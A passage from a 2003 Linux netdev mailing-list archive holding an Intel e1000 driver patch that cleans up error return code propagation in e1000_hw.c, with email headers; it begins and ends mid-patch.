e1000_ms_hw_default +#endif /* only works for sizes that are powers of 2 */ #define E1000_ROUNDUP(i, size) ((i) = (((i) + (size) - 1) & ~((size) - 1))) diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -641,6 +641,7 @@ e1000_sw_init(struct e1000_adapter *adap if(hw->media_type == e1000_media_type_copper) { hw->mdix = AUTO_ALL_MODES; hw->disable_polarity_correction = FALSE; + hw->master_slave = E1000_MASTER_SLAVE; } atomic_set(&adapter->irq_sem, 1); From scott.feldman@intel.com Mon Sep 8 19:50:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:42 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892oAx4017263 for ; Mon, 8 Sep 2003 19:50:11 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892jNu01667 for ; Tue, 9 Sep 2003 02:45:23 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892nnC27464 for ; Tue, 9 Sep 2003 02:49:49 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819500223886 ; Mon, 08 Sep 2003 19:50:02 -0700 Date: Mon, 8 Sep 2003 20:14:41 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 7/11] cleanup error return codes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5718 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 31188 Lines: 807 * clean up error return code propagation and eliminate redundant DEBUGOUT statements. ------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c 2003-08-22 17:01:40.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c 2003-09-08 09:13:11.000000000 -0700 @@ -455,8 +455,7 @@ e1000_init_hw(struct e1000_hw *hw) DEBUGFUNC("e1000_init_hw"); /* Initialize Identification LED */ - ret_val = e1000_id_led_init(hw); - if(ret_val < 0) { + if((ret_val = e1000_id_led_init(hw))) { DEBUGOUT("Error Initializing Identification LED\n"); return ret_val; } @@ -1165,14 +1008,12 @@ e1000_setup_copper_link(struct e1000_hw if(hw->mac_type >= e1000_82544) { e1000_config_collision_dist(hw); } else { - ret_val = e1000_config_mac_to_phy(hw); - if(ret_val < 0) { + if((ret_val = e1000_config_mac_to_phy(hw))) { DEBUGOUT("Error configuring MAC to PHY settings\n"); return ret_val; - } + } } - ret_val = e1000_config_fc_after_link_up(hw); - if(ret_val < 0) { + if((ret_val = e1000_config_fc_after_link_up(hw))) { DEBUGOUT("Error Configuring Flow Control\n"); return ret_val; } @@ -1202,22 +1202,20 @@ e1000_setup_copper_link(struct e1000_hw int32_t e1000_phy_setup_autoneg(struct e1000_hw *hw) { + int32_t ret_val; uint16_t mii_autoneg_adv_reg; uint16_t mii_1000t_ctrl_reg; DEBUGFUNC("e1000_phy_setup_autoneg"); /* Read the MII Auto-Neg Advertisement Register (Address 4). */ - if(e1000_read_phy_reg(hw, PHY_AUTONEG_ADV, &mii_autoneg_adv_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_AUTONEG_ADV, + &mii_autoneg_adv_reg))) + return ret_val; /* Read the MII 1000Base-T Control Register (Address 9). */ - if(e1000_read_phy_reg(hw, PHY_1000T_CTRL, &mii_1000t_ctrl_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_CTRL, &mii_1000t_ctrl_reg))) + return ret_val; /* Need to parse both autoneg_advertised and fc and set up * the appropriate PHY registers. First we will parse for @@ -1323,18 +1318,16 @@ e1000_phy_setup_autoneg(struct e1000_hw return -E1000_ERR_CONFIG; } - if(e1000_write_phy_reg(hw, PHY_AUTONEG_ADV, mii_autoneg_adv_reg) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_write_phy_reg(hw, PHY_AUTONEG_ADV, + mii_autoneg_adv_reg))) + return ret_val; DEBUGOUT1("Auto-Neg Advertising %x\n", mii_autoneg_adv_reg); - if(e1000_write_phy_reg(hw, PHY_1000T_CTRL, mii_1000t_ctrl_reg) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } - return 0; + if((ret_val = e1000_write_phy_reg(hw, PHY_1000T_CTRL, mii_1000t_ctrl_reg))) + return ret_val; + + return E1000_SUCCESS; } /****************************************************************************** @@ -1370,10 +1363,8 @@ e1000_phy_force_speed_duplex(struct e100 ctrl &= ~E1000_CTRL_ASDE; /* Read the MII Control Register. */ - if(e1000_read_phy_reg(hw, PHY_CTRL, &mii_ctrl_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_CTRL, &mii_ctrl_reg))) + return ret_val; /* We need to disable autoneg in order to force link and duplex. */ @@ -1419,19 +1410,18 @@ e1000_phy_force_speed_duplex(struct e100 E1000_WRITE_REG(hw, CTRL, ctrl); if (hw->phy_type == e1000_phy_m88) { - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, + &phy_data))) + return ret_val; /* Clear Auto-Crossover to force MDI manually. M88E1000 requires MDI * forced whenever speed are duplex are forced. */ phy_data &= ~M88E1000_PSCR_AUTO_X_MODE; - if(e1000_write_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, + phy_data))) + return ret_val; + DEBUGOUT1("M88E1000 PSCR: %x \n", phy_data); /* Need to reset the PHY or these changes will be ignored */ @@ -1440,26 +1275,23 @@ e1000_phy_force_speed_duplex(struct e100 /* Clear Auto-Crossover to force MDI manually. IGP requires MDI * forced whenever speed or duplex are forced. */ - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, + &phy_data))) + return ret_val; phy_data &= ~IGP01E1000_PSCR_AUTO_MDIX; phy_data &= ~IGP01E1000_PSCR_FORCE_MDI_MDIX; - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CTRL, + phy_data))) + return ret_val; } /* Write back the modified PHY MII control register. */ - if(e1000_write_phy_reg(hw, PHY_CTRL, mii_ctrl_reg) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } udelay(1); + if((ret_val = e1000_write_phy_reg(hw, PHY_CTRL, mii_ctrl_reg))) + return ret_val; + /* The wait_autoneg_complete flag may be a little misleading here. * Since we are forcing speed and duplex, Auto-Neg is not enabled. @@ -1478,22 +1465,18 @@ e1000_phy_force_speed_duplex(struct e100 /* Read the MII Status Register and wait for Auto-Neg Complete bit * to be set. */ - if(e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg))) + return ret_val; + + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg))) + return ret_val; + if(mii_status_reg & MII_SR_LINK_STATUS) break; msec_delay(100); } if(i == 0) { /* We didn't get link */ /* Reset the DSP and wait again for link. */ - - ret_val = e1000_phy_reset_dsp(hw); - if(ret_val < 0) { + if((ret_val = e1000_phy_reset_dsp(hw))) { DEBUGOUT("Error Resetting PHY DSP\n"); return ret_val; } @@ -1505,14 +1488,11 @@ e1000_phy_force_speed_duplex(struct e100 /* Read the MII Status Register and wait for Auto-Neg Complete bit * to be set. */ - if(e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg))) + return ret_val; + + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg))) + return ret_val; } } @@ -1521,30 +1501,29 @@ e1000_phy_force_speed_duplex(struct e100 * Extended PHY Specific Control Register to 25MHz clock. This value * defaults back to a 2.5MHz clock when the PHY is reset. */ - if(e1000_read_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, + &phy_data))) + return ret_val; + phy_data |= M88E1000_EPSCR_TX_CLK_25; - if(e1000_write_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_write_phy_reg(hw, M88E1000_EXT_PHY_SPEC_CTRL, + phy_data))) + return ret_val; /* In addition, because of the s/w reset above, we need to enable CRS on * TX. This must be set for both full and half duplex operation. */ - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, + &phy_data))) + return ret_val; + phy_data |= M88E1000_PSCR_ASSERT_CRS_ON_TX; - if(e1000_write_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, + phy_data))) + return ret_val; + } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -1584,6 +1563,7 @@ static int32_t e1000_config_mac_to_phy(struct e1000_hw *hw) { uint32_t ctrl; + int32_t ret_val; uint16_t phy_data; DEBUGFUNC("e1000_config_mac_to_phy"); @@ -1599,10 +1579,10 @@ e1000_config_mac_to_phy(struct e1000_hw * registers depending on negotiated values. */ if (hw->phy_type == e1000_phy_igp) { - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_STATUS, + &phy_data))) + return ret_val; + if(phy_data & IGP01E1000_PSSR_FULL_DUPLEX) ctrl |= E1000_CTRL_FD; else ctrl &= ~E1000_CTRL_FD; @@ -1618,10 +1598,10 @@ e1000_config_mac_to_phy(struct e1000_hw IGP01E1000_PSSR_SPEED_100MBPS) ctrl |= E1000_CTRL_SPD_100; } else { - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, + &phy_data))) + return ret_val; + if(phy_data & M88E1000_PSSR_DPLX) ctrl |= E1000_CTRL_FD; else ctrl &= ~E1000_CTRL_FD; @@ -1637,7 +1617,7 @@ e1000_config_mac_to_phy(struct e1000_hw } /* Write the configured values back to the Device Control Reg. */ E1000_WRITE_REG(hw, CTRL, ctrl); - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -1737,8 +1570,7 @@ e1000_config_fc_after_link_up(struct e10 if(((hw->media_type == e1000_media_type_fiber) && (hw->autoneg_failed)) || ((hw->media_type == e1000_media_type_internal_serdes) && (hw->autoneg_failed)) || ((hw->media_type == e1000_media_type_copper) && (!hw->autoneg))) { - ret_val = e1000_force_mac_fc(hw); - if(ret_val < 0) { + if((ret_val = e1000_force_mac_fc(hw))) { DEBUGOUT("Error forcing flow control settings\n"); return ret_val; } @@ -1754,14 +1588,10 @@ e1000_config_fc_after_link_up(struct e10 * has completed. We read this twice because this reg has * some "sticky" (latched) bits. */ - if(e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg) < 0) { - DEBUGOUT("PHY Read Error \n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg) < 0) { - DEBUGOUT("PHY Read Error \n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg))) + return ret_val; + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &mii_status_reg))) + return ret_val; if(mii_status_reg & MII_SR_AUTONEG_COMPLETE) { /* The AutoNeg process has completed, so we now need to @@ -1770,14 +1745,12 @@ e1000_config_fc_after_link_up(struct e10 * Register (Address 5) to determine how flow control was * negotiated. */ - if(e1000_read_phy_reg(hw, PHY_AUTONEG_ADV, &mii_nway_adv_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_LP_ABILITY, &mii_nway_lp_ability_reg) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_AUTONEG_ADV, + &mii_nway_adv_reg))) + return ret_val; + if((ret_val = e1000_read_phy_reg(hw, PHY_LP_ABILITY, + &mii_nway_lp_ability_reg))) + return ret_val; /* Two bits in the Auto Negotiation Advertisement Register * (Address 4) and two bits in the Auto Negotiation Base @@ -1892,7 +1865,10 @@ e1000_config_fc_after_link_up(struct e10 * negotiated to HALF DUPLEX, flow control should not be * enabled per IEEE 802.3 spec. */ - e1000_get_speed_and_duplex(hw, &speed, &duplex); + if((ret_val = e1000_get_speed_and_duplex(hw, &speed, &duplex))) { + DEBUGOUT("Error getting link speed and duplex\n"); + return ret_val; + } if(duplex == HALF_DUPLEX) hw->fc = e1000_fc_none; @@ -1900,16 +1876,15 @@ e1000_config_fc_after_link_up(struct e10 /* Now we call a subroutine to actually force the MAC * controller to use the correct flow control settings. */ - ret_val = e1000_force_mac_fc(hw); - if(ret_val < 0) { + if((ret_val = e1000_force_mac_fc(hw))) { DEBUGOUT("Error forcing flow control settings\n"); return ret_val; - } + } } else { DEBUGOUT("Copper PHY and Auto Neg has not completed.\r\n"); } } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -1956,14 +1931,10 @@ e1000_check_for_link(struct e1000_hw *hw * of the PHY. * Read the register twice since the link bit is sticky. */ - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; if(phy_data & MII_SR_LINK_STATUS) { hw->get_link_status = FALSE; @@ -1996,8 +1967,7 @@ e1000_check_for_link(struct e1000_hw *hw if(hw->mac_type >= e1000_82544) e1000_config_collision_dist(hw); else { - ret_val = e1000_config_mac_to_phy(hw); - if(ret_val < 0) { + if((ret_val = e1000_config_mac_to_phy(hw))) { DEBUGOUT("Error configuring MAC to PHY settings\n"); return ret_val; } @@ -2007,8 +1977,7 @@ e1000_check_for_link(struct e1000_hw *hw * need to restore the desired flow control settings because we may * have had to re-autoneg with a different link partner. */ - ret_val = e1000_config_fc_after_link_up(hw); - if(ret_val < 0) { + if((ret_val = e1000_config_fc_after_link_up(hw))) { DEBUGOUT("Error configuring flow control\n"); return ret_val; } @@ -2023,10 +1992,9 @@ e1000_check_for_link(struct e1000_hw *hw * partner is TBI-based, and we turn on TBI Compatibility. */ if(hw->tbi_compatibility_en) { - if(e1000_read_phy_reg(hw, PHY_LP_ABILITY, &lp_capability) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_LP_ABILITY, + &lp_capability))) + return ret_val; if(lp_capability & (NWAY_LPAR_10T_HD_CAPS | NWAY_LPAR_10T_FD_CAPS | NWAY_LPAR_100TX_HD_CAPS | @@ -2083,8 +2051,7 @@ e1000_check_for_link(struct e1000_hw *hw E1000_WRITE_REG(hw, CTRL, ctrl); /* Configure Flow Control after forcing link up. */ - ret_val = e1000_config_fc_after_link_up(hw); - if(ret_val < 0) { + if((ret_val = e1000_config_fc_after_link_up(hw))) { DEBUGOUT("Error configuring flow control\n"); return ret_val; } @@ -2101,7 +2068,7 @@ e1000_check_for_link(struct e1000_hw *hw E1000_WRITE_REG(hw, TXCW, hw->txcw); E1000_WRITE_REG(hw, CTRL, (ctrl & ~E1000_CTRL_SLU)); } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -2178,6 +2145,7 @@ e1000_get_speed_and_duplex(struct e1000_ int32_t e1000_wait_autoneg(struct e1000_hw *hw) { + int32_t ret_val; uint16_t i; uint16_t phy_data; @@ -2189,20 +2157,16 @@ e1000_wait_autoneg(struct e1000_hw *hw) /* Read the MII Status Register and wait for Auto-Neg * Complete bit to be set. */ - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; if(phy_data & MII_SR_AUTONEG_COMPLETE) { - return 0; + return E1000_SUCCESS; } msec_delay(100); } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -2627,23 +2393,21 @@ e1000_phy_reset(struct e1000_hw *hw) int32_t e1000_detect_gig_phy(struct e1000_hw *hw) { + int32_t phy_init_status, ret_val; uint16_t phy_id_high, phy_id_low; boolean_t match = FALSE; - int32_t phy_init_status; DEBUGFUNC("e1000_detect_gig_phy"); /* Read the PHY ID Registers to identify which PHY is onboard. */ - if(e1000_read_phy_reg(hw, PHY_ID1, &phy_id_high) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_ID1, &phy_id_high))) + return ret_val; + hw->phy_id = (uint32_t) (phy_id_high << 16); udelay(20); - if(e1000_read_phy_reg(hw, PHY_ID2, &phy_id_low) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_ID2, &phy_id_low))) + return ret_val; + hw->phy_id |= (uint32_t) (phy_id_low & PHY_REVISION_MASK); hw->phy_revision = (uint32_t) phy_id_low & ~PHY_REVISION_MASK; @@ -2675,7 +2637,7 @@ e1000_detect_gig_phy(struct e1000_hw *hw if ((match) && (phy_init_status == E1000_SUCCESS)) { DEBUGOUT1("PHY ID 0x%X detected\n", hw->phy_id); - return 0; + return E1000_SUCCESS; } DEBUGOUT1("Invalid PHY ID 0x%X\n", hw->phy_id); return -E1000_ERR_PHY; @@ -2728,13 +2690,14 @@ e1000_phy_igp_get_info(struct e1000_hw * phy_info->polarity_correction = e1000_polarity_reversal_enabled; /* Check polarity status */ - if(e1000_check_polarity(hw, &polarity) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_check_polarity(hw, &polarity))) + return ret_val; phy_info->cable_polarity = polarity; - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_STATUS, + &phy_data))) + return ret_val; phy_info->mdix_mode = (phy_data & IGP01E1000_PSSR_MDIX) >> IGP01E1000_PSSR_MDIX_SHIFT; @@ -2742,8 +2705,8 @@ e1000_phy_igp_get_info(struct e1000_hw * if((phy_data & IGP01E1000_PSSR_SPEED_MASK) == IGP01E1000_PSSR_SPEED_1000MBPS) { /* Local/Remote Receiver Information are only valid at 1000 Mbps */ - if(e1000_read_phy_reg(hw, PHY_1000T_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_STATUS, &phy_data))) + return ret_val; phy_info->local_rx = (phy_data & SR_1000T_LOCAL_RX_STATUS) >> SR_1000T_LOCAL_RX_STATUS_SHIFT; @@ -2751,8 +2714,8 @@ e1000_phy_igp_get_info(struct e1000_hw * SR_1000T_REMOTE_RX_STATUS_SHIFT; /* Get cable length */ - if(e1000_get_cable_length(hw, &min_length, &max_length) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_get_cable_length(hw, &min_length, &max_length))) + return ret_val; /* transalte to old method */ average = (max_length + min_length) / 2; @@ -2779,8 +2742,10 @@ e1000_phy_igp_get_info(struct e1000_hw * * phy_info - PHY information structure ******************************************************************************/ int32_t -e1000_phy_m88_get_info(struct e1000_hw *hw, struct e1000_phy_info *phy_info) +e1000_phy_m88_get_info(struct e1000_hw *hw, + struct e1000_phy_info *phy_info) { + int32_t ret_val; uint16_t phy_data, polarity; DEBUGFUNC("e1000_phy_m88_get_info"); @@ -2789,8 +2754,8 @@ e1000_phy_m88_get_info(struct e1000_hw * * and it stored in the hw->speed_downgraded parameter. */ phy_info->downshift = hw->speed_downgraded; - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_CTRL, &phy_data))) + return ret_val; phy_info->extended_10bt_distance = (phy_data & M88E1000_PSCR_10BT_EXT_DIST_ENABLE) >> @@ -2800,13 +2765,13 @@ e1000_phy_m88_get_info(struct e1000_hw * M88E1000_PSCR_POLARITY_REVERSAL_SHIFT; /* Check polarity status */ - if(e1000_check_polarity(hw, &polarity) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_check_polarity(hw, &polarity))) + return ret_val; phy_info->cable_polarity = polarity; - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, &phy_data))) + return ret_val; phy_info->mdix_mode = (phy_data & M88E1000_PSSR_MDIX) >> M88E1000_PSSR_MDIX_SHIFT; @@ -2818,8 +2783,8 @@ e1000_phy_m88_get_info(struct e1000_hw * phy_info->cable_length = ((phy_data & M88E1000_PSSR_CABLE_LENGTH) >> M88E1000_PSSR_CABLE_LENGTH_SHIFT); - if(e1000_read_phy_reg(hw, PHY_1000T_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_STATUS, &phy_data))) + return ret_val; phy_info->local_rx = (phy_data & SR_1000T_LOCAL_RX_STATUS) >> SR_1000T_LOCAL_RX_STATUS_SHIFT; @@ -2841,6 +2806,7 @@ int32_t e1000_phy_get_info(struct e1000_hw *hw, struct e1000_phy_info *phy_info) { + int32_t ret_val; uint16_t phy_data; DEBUGFUNC("e1000_phy_get_info"); @@ -2859,20 +2825,18 @@ e1000_phy_get_info(struct e1000_hw *hw, return -E1000_ERR_CONFIG; } - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - if(e1000_read_phy_reg(hw, PHY_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; + + if((ret_val = e1000_read_phy_reg(hw, PHY_STATUS, &phy_data))) + return ret_val; + if((phy_data & MII_SR_LINK_STATUS) != MII_SR_LINK_STATUS) { DEBUGOUT("PHY info is only valid if link is up\n"); return -E1000_ERR_CONFIG; } - if (hw->phy_type == e1000_phy_igp) + if(hw->phy_type == e1000_phy_igp) return e1000_phy_igp_get_info(hw, phy_info); else return e1000_phy_m88_get_info(hw, phy_info); @@ -2888,7 +2852,7 @@ e1000_validate_mdi_setting(struct e1000_ hw->mdix = 1; return -E1000_ERR_CONFIG; } - return 0; + return E1000_SUCCESS; } @@ -3445,9 +3409,9 @@ e1000_validate_eeprom_checksum(struct e1 checksum += eeprom_data; } - if(checksum == (uint16_t) EEPROM_SUM) { - return 0; - } else { + if(checksum == (uint16_t) EEPROM_SUM) + return E1000_SUCCESS; + else { DEBUGOUT("EEPROM Checksum Invalid\n"); return -E1000_ERR_EEPROM; } @@ -3481,7 +3445,7 @@ e1000_update_eeprom_checksum(struct e100 DEBUGOUT("EEPROM Write Error\n"); return -E1000_ERR_EEPROM; } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -3679,7 +3643,7 @@ e1000_write_eeprom_microwire(struct e100 e1000_shift_out_ee_bits(hw, 0, (uint16_t)(eeprom->address_bits - 2)); - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -3713,7 +3677,7 @@ e1000_read_part_num(struct e1000_hw *hw, /* Save word 1 in lower half of part_num */ *part_num |= eeprom_data; - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -3748,7 +3712,7 @@ e1000_read_mac_addr(struct e1000_hw * hw } for(i = 0; i < NODE_ADDRESS_SIZE; i++) hw->mac_addr[i] = hw->perm_mac_addr[i]; - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -4024,7 +3988,7 @@ e1000_id_led_init(struct e1000_hw * hw) if(hw->mac_type < e1000_82540) { /* Nothing to do */ - return 0; + return E1000_SUCCESS; } ledctl = E1000_READ_REG(hw, LEDCTL); @@ -4075,7 +4039,7 @@ e1000_id_led_init(struct e1000_hw * hw) break; } } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -4590,9 +4554,11 @@ e1000_write_reg_io(struct e1000_hw *hw, * For IGP phy's, the function calculates the range by the AGC registers. *****************************************************************************/ int32_t -e1000_get_cable_length(struct e1000_hw *hw, uint16_t *min_length, +e1000_get_cable_length(struct e1000_hw *hw, + uint16_t *min_length, uint16_t *max_length) { + int32_t ret_val; uint16_t agc_value = 0; uint16_t cur_agc, min_agc = IGP01E1000_AGC_LENGTH_TABLE_SIZE; uint16_t i, phy_data; @@ -4603,8 +4569,9 @@ e1000_get_cable_length(struct e1000_hw * /* Use old method for Phy older than IGP */ if(hw->phy_type == e1000_phy_m88) { - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, + &phy_data))) + return ret_val; /* Convert the enum value to ranged values */ switch((phy_data & M88E1000_PSSR_CABLE_LENGTH) >> @@ -4707,22 +4674,26 @@ e1000_get_cable_length(struct e1000_hw * * IGP01E1000_PHY_PCS_INIT_REG. *****************************************************************************/ int32_t -e1000_check_polarity(struct e1000_hw *hw, uint16_t *polarity) +e1000_check_polarity(struct e1000_hw *hw, + uint16_t *polarity) { + int32_t ret_val; uint16_t phy_data; DEBUGFUNC("e1000_check_polarity"); if(hw->phy_type == e1000_phy_m88) { /* return the Polarity bit in the Status register. */ - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, + &phy_data))) + return ret_val; *polarity = (phy_data & M88E1000_PSSR_REV_POLARITY) >> M88E1000_PSSR_REV_POLARITY_SHIFT; } else if(hw->phy_type == e1000_phy_igp) { /* Read the Status register to check the speed */ - 